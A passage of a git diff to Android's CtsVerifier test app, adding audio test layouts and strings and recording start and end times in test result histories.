+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_usb_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_usb_noise" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_usb_noise_result" />
+            </LinearLayout>
+            <View
+                android:layout_width="match_parent"
+                android:layout_height="1dp"
+                android:background="?android:colorAccent" />
+
+            <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_global_test_results"
+                    android:id="@+id/vr_test_global_result" />
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 71edb71..3182499 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -13,6 +13,24 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content">
         <TextView
+            android:text="@string/proAudioHasProAudiolbl"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:textSize="18sp"/>
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:paddingLeft="10dp"
+            android:paddingRight="10dp"
+            android:id="@+id/proAudioHasProAudioLbl"
+            android:textSize="18sp"/>
+    </LinearLayout>
+
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <TextView
             android:text="@string/proAudioHasLLAlbl"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/layout/snsr_next_button.xml b/apps/CtsVerifier/res/layout/snsr_next_button.xml
index 377b236..cd5a970 100644
--- a/apps/CtsVerifier/res/layout/snsr_next_button.xml
+++ b/apps/CtsVerifier/res/layout/snsr_next_button.xml
@@ -24,7 +24,8 @@
         android:id="@+id/retry_button"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:text="@string/retry_button_text" />
+        android:text="@string/retry_button_text"
+        android:visibility="gone" />
 
     <Button
         android:id="@+id/pass_button"
diff --git a/apps/CtsVerifier/res/raw/speech.mp3 b/apps/CtsVerifier/res/raw/speech.mp3
new file mode 100644
index 0000000..b8ed1c8
--- /dev/null
+++ b/apps/CtsVerifier/res/raw/speech.mp3
Binary files differ
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 69b9116..22109e7 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -53,7 +53,9 @@
     <string name="test_results_clear_cancel">Cancel</string>
     <string name="test_results_cleared">Test results cleared.</string>
     <string name="view">View</string>
-    <string name="test_results_error">Couldn\'t create test results report.</string>
+    <string name="test_results_error">Couldn\'t create test results report. Try running the
+        following command if you haven\'t yet.\n\"adb shell appops set com.android.cts.verifier
+        android:read_device_identifiers allow\" </string>
     <string name="runtime_permissions_error">Please grant runtime permissions, otherwise, tests might fail.</string>
     <string name="export">Export</string>
     <string name="no_storage">Cannot save report to external storage, see log for details.</string>
@@ -549,10 +551,7 @@
     <string name="ble_scan_stop">Stop scan</string>
 
     <!-- BLE connection priority test strings -->
-    <string name="ble_client_connection_priority">Testing priority: </string>
-    <string name="ble_connection_priority_balanced">BALANCED</string>
-    <string name="ble_connection_priority_high">HIGH</string>
-    <string name="ble_connection_priority_low">LOW</string>
+    <string name="ble_client_connection_priority">Testing connection priority switching </string>
     <string name="ble_server_connection_priority_result_passed">All test passed</string>
     <string name="ble_server_connection_priority_result_failed">Test failed.</string>
     <string name="ble_server_connection_priority_result_intervals">
@@ -580,9 +579,7 @@
     <string name="ble_write_authenticated_characteristic_name">Bluetooth LE Write Encrypted Characteristic</string>
     <string name="ble_read_authenticated_descriptor_name">Bluetooth LE Read Encrypted Descriptor</string>
     <string name="ble_write_authenticated_descriptor_name">Bluetooth LE Write Encrypted Descriptor</string>
-    <string name="ble_connection_priority_client_high">Bluetooth LE Send With CONNECTION_PRIORITY_HIGH</string>
-    <string name="ble_connection_priority_client_low">Bluetooth LE Send With CONNECTION_PRIORITY_LOW_POWER</string>
-    <string name="ble_connection_priority_client_balanced">Bluetooth LE Send With CONNECTION_PRIORITY_BALANCED</string>
+    <string name="ble_connection_priority_client_description">Client Switching Connection Priority</string>
     <string name="ble_indicate_characteristic_name">Bluetooth LE Indicate Characteristic</string>
     <string name="ble_encrypted_client_name">03 Bluetooth LE Encrypted Client Test</string>
     <string name="ble_encrypted_client_info">Bluetooth LE Encrypted Client read/write on characteristic and descriptor need encrypted.</string>
@@ -2803,7 +2800,7 @@
         Please press the Go button to open the Settings page.
         (If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
         \n
-        Navigate to \"Data usage\" page and then into the \"Wi-Fi data usage\" category.\n
+        Navigate to the \"Network &amp; Internet\" page and then click on \"Wi-Fi\" and then \"Wi-Fi data usage\".\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         (If the section is not present, this might be because work apps have not used Wi-Fi data yet. Ensure that you have used Wi-Fi data on a work app, then repeat these instructions.)\n
         \n
@@ -2819,7 +2816,7 @@
         Please press the Go button to open the Settings page.
         (If this device has a separate app for work settings, ignore the Go button and navigate to that app manually).\n
         \n
-        Navigate to \"Data usage\" page and then into the \"Mobile data usage\" category.\n
+        Navigate to the \"Network &amp; Internet\" page and then click on \"Mobile network\" and then \"App data usage\".\n
         Confirm that \"All work apps\" section is present and that it is possible to see the data usage for work (badged) apps.\n
         \n
         Then use the Back button (or navigate back to this app using Recents) to return to this test and mark accordingly.
@@ -3716,7 +3713,7 @@
         Check that \'Dummy Input method\', along with all other non-system apps, are not enabled in Settings for the managed profile (they may be enabled for the primary profile). Then disallow \'Dummy Input method\' from permitted input methods by turning on the switch below.
     </string>
     <string name="set_permitted_input_methods_action">
-        Enabling \'Dummy Input method\' in the list of input methods
+        Enabling \'Dummy Input method\' in the list of input methods (make sure you are enabling it for the managed profile, not primary profile)
     </string>
     <string name="set_permitted_input_methods_widget_label">
         Allow only system input methods:
@@ -4427,6 +4424,7 @@
     <!--  Pro Audio Tests -->
     <string name="pro_audio_latency_test">Pro Audio Test</string>
 
+    <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
     <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
     <string name="proAudioInputLbl">Audio Input:</string>
     <string name="proAudioOutputLbl">Audio Output:</string>
@@ -4447,6 +4445,10 @@
     <string name="audio_proaudio_NA">N/A</string>
     <string name="audio_proaudio_pending">pending...</string>
 
+    <string name="audio_proaudio_nopa_title">Pro Audio Test</string>
+    <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
+        flag and therefore does not need to run this test.</string>
+
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
     <string name="ndk_midi_test">Native MIDI API Test</string>
@@ -4455,9 +4457,9 @@
        Audio Peripheral device with standard MIDI 5-pin, DIN (round) connectors and a standard
        MIDI cable. The cable must be connected to the MIDI input and output plugs on the
        peripheral.
-       \nFor the USB Bluetooth test it is required that you connect a Yamaha MT-BT301 to the
-       correct MIDI plugs on the USB peripheral, the BT301 output jack to the USB interface
-       input jack and BT301 input plug to the USB interface output jack.
+       \nFor the USB Bluetooth test it is required that you connect a Yamaha MD-BT01 to the
+       correct MIDI plugs on the USB peripheral, the BT01 output jack to the USB interface
+       input jack and BT01 input plug to the USB interface output jack.
        \nThe Virtual MIDI test does not require any MIDI interface hardware.
     </string>
 
@@ -4623,6 +4625,46 @@
 
     <string name="unprocessed_test_global_result">Global Results...</string>
 
+    <!-- Audio Frequency Voice_Recognition Test -->
+    <string name="audio_frequency_voice_recognition_test">Audio Frequency Voice Recognition Test</string>
+    <string name="audio_frequency_voice_recognition_info">
+        This test requires an external USB reference microphone, external speakers and a Sound Pressure Level meter.
+        You can play the test signals from the device under test or from a secondary device.
+        Follow the instructions on the screen to measure the frequency response for the built in microphone
+        using VOICE_RECOGNITION audio source.
+    </string>
+    <string name="vr_test_tone_instructions">TEST TONE: Press [PLAY] to play tone at 1 Khz. Measure sound to be 90 dB SPL right next to microphone under test. Press [TEST]</string>
+    <string name="vr_test_noise_instructions">TEST NOISE: Position speakers 40 cms from device under test.
+        Press [PLAY] to play broadband white noise. Press [TEST]</string>
+    <string name="vr_test_usb_background_instructions">TEST USB BACKGROUND: Connect USB microphone and position it right next to microphone under test.
+        No source of noise should be active during this test. Press [TEST]</string>
+    <string name="vr_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
+        Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
+
+
+    <!-- Audio AEC Test -->
+    <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
+    <string name="audio_aec_info">
+        The recording source VOICE_COMMUNICATION will be tested with/without the Acoustic Echo Canceller effect engaged.
+        The Acoustic Coupling Factor (ACF) will be computed for each case. A successful test expects ACF less than 0.4 for AEC ON,
+        and ACF greater than 0.6 for AEC OFF.
+        This test requires a quiet environment, and no headphones or similar connected.
+        This test must pass in devices where AEC functionality is mandatory or any device which implements AEC.
+    </string>
+    <string name="audio_aec_instructions">Press [TEST] to play a voice recording twice with different parameters.</string>
+    <string name="audio_aec_mandatory_test">Is AEC mandatory in this device?</string>
+
+    <!--Audio Frequency Global strings -->
+    <string name="af_button_play">Play</string>
+    <string name="af_button_stop">Stop</string>
+
+    <string name="af_button_test">Test</string>
+    <string name="af_test_results">Results...</string>
+    <string name="af_global_test_results">Global Results...</string>
+    <string name="af_no">No</string>
+    <string name="af_yes">Yes</string>
+
+
     <!-- Strings for 6DoF test -->
     <string name="six_dof_test">6DoF Test</string>
     <string name="action_settings">Settings</string>
@@ -5061,10 +5103,10 @@
     <string name="bubbles_notification_test_verify_9">Click the button below and verify that a bubble
         appears on screen, auto-expanded.</string>
     <string name="bubbles_notification_test_button_9">Send auto-expanded bubble notification</string>
+    <string name="bubbles_notification_no_bubbles_low_mem">No bubbles on low memory device; no tests to run</string>
     <string name="bubbles_test_summary_title">Test Complete</string>
     <string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
     <string name="bubble_activity_title">Bubble Activity</string>
-
     <!-- Strings for Instant Apps -->
     <string name="ia_instruction_heading_label">Instructions:</string>
     <string name="ia_instruction_text_photo_label">READ BEFORE STARTING TEST</string>
@@ -5085,9 +5127,16 @@
     1. Click Start Test. \n\n
     2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
     3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
+    4. Skip this step in china version. \n\n
+    5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
+    </string>
+    <string name="ia_notification_instruction_label_no_app_market_version">\n
+    1. Click Start Test. \n\n
+    2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
+    3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
     4. Check if Instant App is shown in notification area with the following (Please expand the notification if it is collapsed): \n
     \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
-    \u0020\u0020\u0020b. It provides an action allowing the user to launch the associated link with web browser. \n\n
+    \u0020\u0020\u0020b. Skip this step in china version.Can not launch the associated link with web browser. \n\n
     5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
     </string>
     <string name="ia_recents">Instant Apps Recents Test</string>
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
index 9c6de77..dd18236 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_median.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="3dp"
         linePaint.color="#AA0000"
         vertexPaint.color="#770000"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
index 8fb236e..0f27503 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_noise.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="2dp"
         linePaint.color="#777777"
         vertexPaint.color="777777"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#770000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
index 9a6c29a..011f20b 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_pass.xml
@@ -3,4 +3,4 @@
         linePaint.strokeWidth="2dp"
         linePaint.color="#007700"
         vertexPaint.color="#007700"
-        fillPaint.color="#00000000" />
+        fillPaint.color="#880000" />
diff --git a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
index 3f9ffc2..ce09dfb 100644
--- a/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
+++ b/apps/CtsVerifier/res/xml/ultrasound_line_formatter_trials.xml
@@ -1,6 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <config
-        linePaint.strokeWidth="1dp"
-        linePaint.color="#AAAAAA"
-        vertexPaint.color="#777777"
-        fillPaint.color="#00000000" />
+        linePaint.strokeWidth="3dp"
+        linePaint.color="#00AA00"
+        vertexPaint.color="#007700"
+        fillPaint.color="#00ff00"
+        pointLabelFormatter.textPaint.color="#FFFFFF"/>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 3132219..15f2155 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -31,6 +31,10 @@
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
 
     protected TestListAdapter mAdapter;
+    // Start time of test item.
+    protected long mStartTime;
+    // End time of test item.
+    protected long mEndTime;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
@@ -73,15 +77,24 @@
 
     protected void handleLaunchTestResult(int resultCode, Intent data) {
         if (resultCode == RESULT_OK) {
+            // If subtest didn't set end time, set current time
+            if (mEndTime == 0) {
+                mEndTime = System.currentTimeMillis();
+            }
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
+            testResult.getHistoryCollection().add(
+                testResult.getName(), mStartTime, mEndTime);
             mAdapter.setTestResult(testResult);
         }
+        // Reset end time to avoid keeping same end time in retry.
+        mEndTime = 0;
     }
 
     /** Launch the activity when its {@link ListView} item is clicked. */
     @Override
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
+        mStartTime = System.currentTimeMillis();
         handleItemClick(listView, view, position, id);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
index aa6eaba..bed5a77 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
@@ -224,7 +224,7 @@
         // Bundle result in an intent to feed into handleLaunchTestResult
         Intent resultIntent = new Intent();
         TestResult.addResultData(resultIntent, result, test.testName, /* testDetails */ null,
-                /* reportLog */ null);
+                /* reportLog */ null, null);
         handleLaunchTestResult(RESULT_OK, resultIntent);
         getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
     }
@@ -233,7 +233,7 @@
         // Bundle result in an intent to feed into handleLaunchTestResult
         Intent resultIntent = new Intent();
         TestResult.addResultData(resultIntent, result, testName, /* testDetails */ null,
-                /* reportLog */ null);
+                /* reportLog */ null, null);
         handleLaunchTestResult(RESULT_OK, resultIntent);
         getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4a8004a..7776d27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -36,6 +36,10 @@
 import android.widget.ImageButton;
 import android.widget.Toast;
 
+import java.util.List;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
 /**
  * {@link Activity}s to handle clicks to the pass and fail buttons of the pass fail buttons layout.
  *
@@ -99,14 +103,21 @@
 
         /** @return A {@link ReportLog} that is used to record test metric data. */
         ReportLog getReportLog();
+
+        /**
+         * @return A {@link TestResultHistoryCollection} that is used to record test execution time.
+         */
+        TestResultHistoryCollection getHistoryCollection();
     }
 
     public static class Activity extends android.app.Activity implements PassFailActivity {
         private WakeLock mWakeLock;
         private final ReportLog reportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         public Activity() {
            this.reportLog = new CtsVerifierReportLog();
+           this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
         @Override
@@ -160,19 +171,25 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
+
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
     }
 
     public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
 
         private final ReportLog reportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         public ListActivity() {
             this.reportLog = new CtsVerifierReportLog();
+            this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
         @Override
@@ -208,11 +225,15 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
+
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
     }
 
     public static class TestListActivity extends AbstractTestListActivity
@@ -257,12 +278,27 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
 
+        /**
+         * Get existing test history to aggregate.
+         */
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() {
+            List<TestResultHistoryCollection> histories =
+                IntStream.range(0, mAdapter.getCount())
+                .mapToObj(mAdapter::getHistoryCollection)
+                .collect(Collectors.toList());
+            TestResultHistoryCollection historyCollection = new TestResultHistoryCollection();
+            historyCollection.merge(getTestId(), histories);
+            return historyCollection;
+        }
+
         public void updatePassButton() {
             getPassButton().setEnabled(mAdapter.allTestsPassed());
         }
@@ -274,7 +310,7 @@
             @Override
             public void onClick(View target) {
                 setTestResultAndFinish(activity, activity.getTestId(), activity.getTestDetails(),
-                        activity.getReportLog(), target);
+                        activity.getReportLog(), activity.getHistoryCollection(), target);
             }
         };
 
@@ -399,7 +435,8 @@
 
     /** Set the test result corresponding to the button clicked and finish the activity. */
     protected static void setTestResultAndFinish(android.app.Activity activity, String testId,
-            String testDetails, ReportLog reportLog, View target) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection,
+            View target) {
         boolean passed;
         if (target.getId() == R.id.pass_button) {
             passed = true;
@@ -409,16 +446,17 @@
             throw new IllegalArgumentException("Unknown id: " + target.getId());
         }
 
-        setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog);
+        setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog, historyCollection);
     }
 
     /** Set the test result and finish the activity. */
     protected static void setTestResultAndFinishHelper(android.app.Activity activity, String testId,
-            String testDetails, boolean passed, ReportLog reportLog) {
+            String testDetails, boolean passed, ReportLog reportLog,
+            TestResultHistoryCollection historyCollection) {
         if (passed) {
-            TestResult.setPassedResult(activity, testId, testDetails, reportLog);
+            TestResult.setPassedResult(activity, testId, testDetails, reportLog, historyCollection);
         } else {
-            TestResult.setFailedResult(activity, testId, testDetails, reportLog);
+            TestResult.setFailedResult(activity, testId, testDetails, reportLog, historyCollection);
         }
 
         activity.finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 1629e1b..f32d79da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -21,52 +21,43 @@
 import android.os.AsyncTask;
 import android.os.Build;
 import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
 
 import com.android.compatibility.common.util.FileUtil;
 import com.android.compatibility.common.util.IInvocationResult;
-import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ResultHandler;
 import com.android.compatibility.common.util.ZipUtil;
 
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.BufferedOutputStream;
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.lang.System;
-import java.nio.file.Files;
-import java.nio.file.Paths;
 import java.text.SimpleDateFormat;
 import java.util.Date;
 import java.util.Locale;
 import java.util.logging.Level;
 import java.util.logging.Logger;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
 
 /**
  * Background task to generate a report and save it to external storage.
  */
 class ReportExporter extends AsyncTask<Void, Void, String> {
 
+    public static final String REPORT_DIRECTORY = "verifierReports";
+
+    private static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
     private static final String COMMAND_LINE_ARGS = "";
     private static final String LOG_URL = null;
     private static final String REFERENCE_URL = null;
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
     private static final String SUITE_PLAN = "verifier";
     private static final String SUITE_BUILD = "0";
-
-    private static final long START_MS = System.currentTimeMillis();
-    private static final long END_MS = START_MS;
-
-    private static final String REPORT_DIRECTORY = "verifierReports";
     private static final String ZIP_EXTENSION = ".zip";
-
-    protected static final Logger LOG = Logger.getLogger(ReportExporter.class.getName());
-
+    private final long START_MS = System.currentTimeMillis();
+    private final long END_MS = START_MS;
     private final Context mContext;
     private final TestListAdapter mAdapter;
 
@@ -122,9 +113,26 @@
             // delete the temporary directory and its files made for the report
             FileUtil.recursiveDelete(tempDir);
         }
+        saveReportOnInternalStorage(reportZipFile);
         return mContext.getString(R.string.report_saved, reportZipFile.getPath());
     }
 
+    private void saveReportOnInternalStorage(File reportZipFile) {
+        try {
+            ParcelFileDescriptor pfd = ParcelFileDescriptor.open(
+                    reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
+            InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+
+            File verifierDir = mContext.getDir(REPORT_DIRECTORY, Context.MODE_PRIVATE);
+            File verifierReport = new File(verifierDir, reportZipFile.getName());
+            FileOutputStream fos = new FileOutputStream(verifierReport);
+
+            FileUtils.copy(is, fos);
+        } catch (Exception e) {
+            LOG.log(Level.WARNING, "I/O exception writing report to internal storage.", e);
+        }
+    }
+
     /**
      * Copy the XML formatting files stored in the assets directory to the result output.
      *
@@ -153,7 +161,7 @@
     private String getReportName(String suiteName) {
         SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss", Locale.ENGLISH);
         String date = dateFormat.format(new Date());
-        return String.format( "%s-%s-%s-%s-%s-%s",
+        return String.format("%s-%s-%s-%s-%s-%s",
                 date, suiteName, Build.MANUFACTURER, Build.PRODUCT, Build.DEVICE, Build.ID);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index d9ea84f..17efb22 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -17,6 +17,7 @@
 package com.android.cts.verifier;
 
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 
 import android.content.ContentResolver;
 import android.content.Context;
@@ -74,6 +75,9 @@
     /** Map from test name to {@link ReportLog}. */
     private final Map<String, ReportLog> mReportLogs = new HashMap<String, ReportLog>();
 
+    /** Map from test name to {@link TestResultHistory}. */
+    private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
+
     private final LayoutInflater mLayoutInflater;
 
     /** {@link ListView} row that is either a test category header or a test. */
@@ -192,8 +196,14 @@
     }
 
     public void setTestResult(TestResult testResult) {
-        new SetTestResultTask(testResult.getName(), testResult.getResult(),
-                testResult.getDetails(), testResult.getReportLog()).execute();
+        String name = testResult.getName();
+
+        // Append existing history
+        TestResultHistoryCollection histories = testResult.getHistoryCollection();
+        histories.merge(null, mHistories.get(name));
+
+        new SetTestResultTask(name, testResult.getResult(),
+                testResult.getDetails(), testResult.getReportLog(), histories).execute();
     }
 
     class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@@ -214,6 +224,8 @@
             mTestDetails.putAll(result.mDetails);
             mReportLogs.clear();
             mReportLogs.putAll(result.mReportLogs);
+            mHistories.clear();
+            mHistories.putAll(result.mHistories);
             notifyDataSetChanged();
         }
     }
@@ -223,16 +235,19 @@
         Map<String, Integer> mResults;
         Map<String, String> mDetails;
         Map<String, ReportLog> mReportLogs;
+        Map<String, TestResultHistoryCollection> mHistories;
 
         RefreshResult(
                 List<TestListItem> items,
                 Map<String, Integer> results,
                 Map<String, String> details,
-                Map<String, ReportLog> reportLogs) {
+                Map<String, ReportLog> reportLogs,
+                Map<String, TestResultHistoryCollection> histories) {
             mItems = items;
             mResults = results;
             mDetails = details;
             mReportLogs = reportLogs;
+            mHistories = histories;
         }
     }
 
@@ -244,12 +259,14 @@
         TestResultsProvider.COLUMN_TEST_RESULT,
         TestResultsProvider.COLUMN_TEST_DETAILS,
         TestResultsProvider.COLUMN_TEST_METRICS,
+        TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
     };
 
     RefreshResult getRefreshResults(List<TestListItem> items) {
         Map<String, Integer> results = new HashMap<String, Integer>();
         Map<String, String> details = new HashMap<String, String>();
         Map<String, ReportLog> reportLogs = new HashMap<String, ReportLog>();
+        Map<String, TestResultHistoryCollection> histories = new HashMap<>();
         ContentResolver resolver = mContext.getContentResolver();
         Cursor cursor = null;
         try {
@@ -261,9 +278,12 @@
                     int testResult = cursor.getInt(2);
                     String testDetails = cursor.getString(3);
                     ReportLog reportLog = (ReportLog) deserialize(cursor.getBlob(4));
+                    TestResultHistoryCollection historyCollection =
+                        (TestResultHistoryCollection) deserialize(cursor.getBlob(5));
                     results.put(testName, testResult);
                     details.put(testName, testDetails);
                     reportLogs.put(testName, reportLog);
+                    histories.put(testName, historyCollection);
                 } while (cursor.moveToNext());
             }
         } finally {
@@ -271,7 +291,7 @@
                 cursor.close();
             }
         }
-        return new RefreshResult(items, results, details, reportLogs);
+        return new RefreshResult(items, results, details, reportLogs, histories);
     }
 
     class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
@@ -287,27 +307,28 @@
     class SetTestResultTask extends AsyncTask<Void, Void, Void> {
 
         private final String mTestName;
-
         private final int mResult;
-
         private final String mDetails;
-
         private final ReportLog mReportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         SetTestResultTask(
                 String testName,
                 int result,
                 String details,
-                ReportLog reportLog) {
+                ReportLog reportLog,
+                TestResultHistoryCollection historyCollection) {
             mTestName = testName;
             mResult = result;
             mDetails = details;
             mReportLog = reportLog;
+            mHistoryCollection = historyCollection;
         }
 
         @Override
         protected Void doInBackground(Void... params) {
-            TestResultsProvider.setTestResult(mContext, mTestName, mResult, mDetails, mReportLog);
+            TestResultsProvider.setTestResult(
+                mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
             return null;
         }
     }
@@ -382,6 +403,19 @@
                 : null;
     }
 
+    /**
+     * Get test result histories.
+     *
+     * @param position The position of test.
+     * @return A {@link TestResultHistoryCollection} object containing test result histories of tests.
+     */
+    public TestResultHistoryCollection getHistoryCollection(int position) {
+        TestListItem item = getItem(position);
+        return mHistories.containsKey(item.testName)
+            ? mHistories.get(item.testName)
+            : null;
+    }
+
     public boolean allTestsPassed() {
         for (TestListItem item : mRows) {
